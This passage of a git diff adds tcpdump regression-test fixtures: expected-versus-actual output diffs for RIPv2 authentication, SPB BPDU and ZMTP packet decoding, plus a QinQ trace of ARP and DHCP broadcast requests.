+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 20, SeqNo 1339429713, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  728c 5b16 9a1b 3913 0021 a73f 7a73 bc1b
+> 	  0x0010:  eee0 e6a2
+25,27c35,36
+< 	RIPv2, Response, length: 68, routes: 3
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d14 4fd6 1354 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 68, routes: 3 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 20, SeqNo 1339429716, MBZ 0, MBZ 0
+29c38
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+30a40
+> 	  0x0010:  3375 fc89
+33c43,48
+< 	RIPv2, Request, length: 80
+---
+> 	RIPv2, Request, length: 80, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 32, SeqNo 1339429740, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  4ae5 fb9c 9702 03b8 5a93 812d 0258 6740
+> 	  0x0010:  451a bd20 cee4 8a3d a466 17a0 e550 5b4b
+36,38c51,52
+< 	RIPv2, Response, length: 80, routes: 4
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d20 4fd6 1370 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 80, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 32, SeqNo 1339429744, MBZ 0, MBZ 0
+40,41c54,56
+< 	  Unknown (1) Authentication data:
+< 	  0x0000:  3965 b755 535a 3375 e83a 973c 60c9 1693[|rip]
+---
+> 	  Auth trailer:
+> 	  0x0000:  3965 b755 535a 3375 e83a 973c 60c9 1693
+> 	  0x0010:  f2de 8132 9e87 3f7f b763 3cb0 b3dc 3ba2
+44c59,65
+< 	RIPv2, Request, length: 96
+---
+> 	RIPv2, Request, length: 96, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 48, SeqNo 1339429761, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  a1f2 20f6 6f72 f45b e8e0 291f 2322 a198
+> 	  0x0010:  1b6b 67bc 9279 7d3b 8e05 c683 8b7e 05bc
+> 	  0x0020:  230c abc8 1470 8e30 5470 fb27 6fe3 4506
+47,49c68,69
+< 	RIPv2, Response, length: 96, routes: 4
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d30 4fd6 1385 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 96, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 48, SeqNo 1339429765, MBZ 0, MBZ 0
+51c71
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+53,55c73,74
+< 	  AFI Unknown (43654)
+< 	  0x0000:  59a1 fef3 9248 3115 c266 0386 f183 4f31
+< 	  0x0010:  1df0
+---
+> 	  0x0010:  aa86 59a1 fef3 9248 3115 c266 0386 f183
+> 	  0x0020:  4f31 1df0 0681 e1cc ba10 b4c1 7795 9773
+58c77,84
+< 	RIPv2, Request, length: 112
+---
+> 	RIPv2, Request, length: 112, routes: 5 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 64, SeqNo 1339429781, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  73ad b6e3 5fe6 07bd 0bc5 ca25 41cc 63ec
+> 	  0x0010:  bd06 55b1 77a4 e223 ef52 8ea2 7480 e39c
+> 	  0x0020:  ee51 96bd 4e35 8cb7 f185 ba49 9892 e683
+> 	  0x0030:  e756 788d aa23 bf90 0b01 5c2d 241d 2d8e
+61,63c87,88
+< 	RIPv2, Response, length: 112, routes: 5
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d40 4fd6 1399 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 112, routes: 5 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 64, SeqNo 1339429785, MBZ 0, MBZ 0
+65c90
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+67,72c92,94
+< 	  AFI Unknown (48865)
+< 	  0x0000:  5584 6b1c 724d b1b7 f02e 7365 f038 7558
+< 	  0x0010:  0914
+< 	  AFI Unknown (26466)
+< 	  0x0000:  00d1 a92f d499 5da2 43ad 202c 7a9b 8065
+< 	  0x0010:  49ad
+---
+> 	  0x0010:  bee1 5584 6b1c 724d b1b7 f02e 7365 f038
+> 	  0x0020:  7558 0914 6762 00d1 a92f d499 5da2 43ad
+> 	  0x0030:  202c 7a9b 8065 49ad 260b 2142 0f8d d83f
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/spb_bpduv4.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/spb_bpduv4.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..af73fc85ff37e96a0e5b218f61a2bed6fe1597e3
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/spb_bpduv4.out.diff
@@ -0,0 +1,52 @@
+1,25c1,25
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+---
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/zmtp1.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/zmtp1.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..dcc6d246b2d2709aa19cd441c16da55553d7df24
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/zmtp1.out.diff
@@ -0,0 +1,74 @@
+0a1,73
+> IP (tos 0x0, ttl 64, id 17993, offset 0, flags [DF], proto TCP (6), length 60)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [S], cksum 0xfe30 (incorrect -> 0x1a9d), seq 2523978814, win 32792, options [mss 16396,sackOK,TS val 245537399 ecr 0,nop,wscale 7], length 0
+> IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [S.], cksum 0xfe30 (incorrect -> 0x31b6), seq 3988083230, ack 2523978815, win 32768, options [mss 16396,sackOK,TS val 245537399 ecr 245537399,nop,wscale 7], length 0
+> IP (tos 0x0, ttl 64, id 17994, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x19da), ack 1, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+> IP (tos 0x0, ttl 64, id 17995, offset 0, flags [DF], proto TCP (6), length 54)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe2a (incorrect -> 0x18d0), seq 1:3, ack 1, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 2: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x00 (-|-|-|-|-|-|-|-)
+> IP (tos 0x0, ttl 64, id 51304, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [.], cksum 0xfe28 (incorrect -> 0x19d9), ack 3, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+> IP (tos 0x0, ttl 64, id 51305, offset 0, flags [DF], proto TCP (6), length 54)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe2a (incorrect -> 0x18cf), seq 1:3, ack 3, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 2: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x00 (-|-|-|-|-|-|-|-)
+> IP (tos 0x0, ttl 64, id 17996, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x19d6), ack 3, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+> IP (tos 0x0, ttl 64, id 17997, offset 0, flags [DF], proto TCP (6), length 148)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe88 (incorrect -> 0x11da), seq 3:99, ack 3, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 96: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 93, flags 0x00 (-|-|-|-|-|-|-|-), first 92 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 6d65 7373 6167 6520 666f  ASCII.message.fo
+> 	 0x0020:  6c6c 6f77 6564 2062 7920 6120 7368 6f72  llowed.by.a.shor
+> 	 0x0030:  7420 6269 6e61 7279 206d 6573 7361 6765  t.binary.message
+> 	 0x0040:  2061 6e64 2061 206c 6f6e 6765 7220 4153  .and.a.longer.AS
+> 	 0x0050:  4349 4920 6d65 7373 6167 652e            CII.message.
+> 
+> IP (tos 0x0, ttl 64, id 51306, offset 0, flags [DF], proto TCP (6), length 84)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc80f), seq 3:35, ack 99, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 32: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+> 
+> IP (tos 0x0, ttl 64, id 17998, offset 0, flags [DF], proto TCP (6), length 72)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe3c (incorrect -> 0xcef8), seq 99:119, ack 35, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 20: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 17, flags 0x00 (-|-|-|-|-|-|-|-), first 16 byte(s) of body:
+> 	 0x0000:  0001 0203 0405 0607 0809 0a0b 0c0d 0e0f  ................
+> 
+> IP (tos 0x0, ttl 64, id 51307, offset 0, flags [DF], proto TCP (6), length 84)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc7da), seq 35:67, ack 119, win 256, options [nop,nop,TS val 245537400 ecr 245537399], length 32: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+> 
+> IP (tos 0x0, ttl 64, id 17999, offset 0, flags [DF], proto TCP (6), length 603)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0x0050 (incorrect -> 0xafc1), seq 119:670, ack 67, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 551: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body (64-bit) length 540, flags 0x00 (-|-|-|-|-|-|-|-), first 128 byte(s) of body:
+> 	 0x0000:  5468 6520 7175 6963 6b20 6272 6f77 6e20  The.quick.brown.
+> 	 0x0010:  666f 7820 6a75 6d70 7320 6f76 6572 2074  fox.jumps.over.t
+> 	 0x0020:  6865 206c 617a 7920 646f 672e 2054 6865  he.lazy.dog..The
+> 	 0x0030:  2071 7569 636b 2062 726f 776e 2066 6f78  .quick.brown.fox
+> 	 0x0040:  206a 756d 7073 206f 7665 7220 7468 6520  .jumps.over.the.
+> 	 0x0050:  6c61 7a79 2064 6f67 2e20 5468 6520 7175  lazy.dog..The.qu
+> 	 0x0060:  6963 6b20 6272 6f77 6e20 666f 7820 6a75  ick.brown.fox.ju
+> 	 0x0070:  6d70 7320 6f76 6572 2074 6865 206c 617a  mps.over.the.laz
+> 
+> IP (tos 0x0, ttl 64, id 51308, offset 0, flags [DF], proto TCP (6), length 84)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc592), seq 67:99, ack 670, win 256, options [nop,nop,TS val 245537400 ecr 245537400], length 32: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+> 
+> IP (tos 0x0, ttl 64, id 18000, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [F.], cksum 0xfe28 (incorrect -> 0x16d8), seq 670, ack 99, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 0
+> IP (tos 0x0, ttl 64, id 51309, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [F.], cksum 0xfe28 (incorrect -> 0x16d8), seq 99, ack 671, win 256, options [nop,nop,TS val 245537400 ecr 245537400], length 0
+> IP (tos 0x0, ttl 64, id 18001, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x16d7), ack 100, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/QinQpacket.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/QinQpacket.out
new file mode 100644
index 0000000000000000000000000000000000000000..0ef70156a6806a0515fe314b40fa0fabe9a103fd
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/QinQpacket.out
@@ -0,0 +1,249 @@
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (6f:6e:02:63:61:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
